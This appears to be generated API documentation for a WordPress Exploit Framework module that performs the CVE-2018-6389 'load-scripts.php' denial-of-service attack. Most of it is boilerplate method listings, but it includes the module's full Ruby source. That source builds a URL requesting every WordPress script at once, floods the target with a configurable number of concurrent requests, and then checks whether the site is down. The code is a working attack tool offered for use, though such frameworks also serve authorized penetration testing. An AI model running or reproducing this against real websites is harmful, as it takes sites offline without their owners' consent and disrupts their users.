Class: Wpxf::Auxiliary::LoadScriptsDos
- Includes:
- Wpxf, Net::HttpClient
- Defined in:
- lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb
Constant Summary
Constants included from Net::HttpOptions
Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST
Constants included from WordPress::Options
WordPress::Options::WP_OPTION_CONTENT_DIR
Instance Attribute Summary collapse
-
#complete_requests ⇒ Object
Returns the value of attribute complete_requests.
Attributes inherited from Module
#active_workspace, #event_emitter, #payload, #session_cookie
Attributes included from Options
Instance Method Summary collapse
- #check ⇒ Object
-
#initialize ⇒ LoadScriptsDos
constructor
A new instance of LoadScriptsDos.
- #max_requests ⇒ Object
- #run ⇒ Object
- #setup_requests ⇒ Object
- #vulnerable_url ⇒ Object
Methods included from Net::HttpClient
#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri
Methods included from Net::TyphoeusHelper
#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options
Methods included from Net::UserAgent
#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent
Methods included from Versioning::OSVersions
#random_nt_version, #random_osx_version
Methods included from Versioning::BrowserVersions
#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version
Methods included from Wpxf
app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version
Methods inherited from Module
#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option
Methods included from Db::Credentials
Methods included from ModuleAuthentication
#authenticate_with_wordpress, #requires_authentication
Methods included from WordPress::Urls
#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc
Methods included from WordPress::Options
Methods included from WordPress::Login
#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body
Methods included from WordPress::Fingerprint
#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version
Methods included from Options
#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option
Methods included from OutputEmitters
#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning
Methods included from ModuleInfo
#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info
Constructor Details
#initialize ⇒ LoadScriptsDos
Returns a new instance of LoadScriptsDos.
7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
# File 'lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb', line 7 def initialize super update_info( name: 'WordPress "load-scripts.php" DoS', desc: %( All versions of WordPress, as of March, 2018, are vulnerable to a denial of service attack by making large amounts of requests to the load-scripts.php file. This module allows users to configure a maximum number of requests (via `max_requests`), and the number of threads to use (`max_http_concurrency`) and will execute the requests and then check the status of the website. ), author: [ 'Barak Tawily', # Vulnerability disclosure 'rastating' # WPXF module ], references: [ ['CVE', '2018-6389'], ['WPVDB', '9021'], ['URL', 'https://baraktawily.blogspot.co.uk/2018/02/how-to-dos-29-of-world-wide-websites.html'] ], date: 'Feb 05 2018' ) ([ IntegerOption.new( name: 'max_requests', required: true, desc: 'Max number of requests to send', default: 200 ), IntegerOption.new( name: 'http_client_timeout', desc: 'Max wait time in seconds for HTTP responses', default: 5, required: true ) ]) end |
Instance Attribute Details
#complete_requests ⇒ Object
Returns the value of attribute complete_requests.
128 129 130 |
# File 'lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb', line 128 def complete_requests @complete_requests end |
Instance Method Details
#check ⇒ Object
52 53 54 |
# File 'lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb', line 52 def check wordpress_and_online? ? :vulnerable : :unknown end |
#max_requests ⇒ Object
48 49 50 |
# File 'lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb', line 48 def max_requests normalized_option_value('max_requests') end |
#run ⇒ Object
109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 |
# File 'lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb', line 109 def run return false unless super emit_info "Preparing #{max_requests} requests..." setup_requests emit_info "Beginning execution of #{max_requests} requests over #{max_http_concurrency} threads" execute_queued_requests emit_success 'Finished executing requests' if wordpress_and_online? emit_error "FAILED: #{full_uri} appears to still be online" return false else emit_success "#{full_uri} appears to be down" return true end end |
#setup_requests ⇒ Object
94 95 96 97 98 99 100 101 102 103 104 105 106 107 |
# File 'lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb', line 94 def setup_requests opts = { url: vulnerable_url, method: :get } self.complete_requests = 0 max_requests.times do queue_request(opts) do |_res| self.complete_requests += 1 emit_warning("#{complete_requests} requests executed") if (complete_requests % 10).zero? end end end |
#vulnerable_url ⇒ Object
56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 |
# File 'lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb', line 56 def vulnerable_url normalize_uri( full_uri, 'wp-admin', 'load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,'\ 'wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,'\ 'wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,'\ 'scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound'\ ',scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,'\ 'jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,'\ 'jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,'\ 'jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate'\ ',jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,'\ 'jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,'\ 'jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu'\ ',jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,'\ 'jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,'\ 'jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color'\ ',schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,'\ 'jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject'\ ',moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers'\ ',comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect'\ ',mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement'\ ',wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,'\ 'wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,'\ 'language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent'\ ',customize-base,customize-loader,customize-preview,customize-models,customize-views,'\ 'customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets'\ ',customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models'\ ',wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox'\ ',tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,'\ 'media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,'\ 'custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,'\ 'wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,'\ 'custom-header,custom-background,media-gallery,svg-painter&ver=4.9.1' ) end |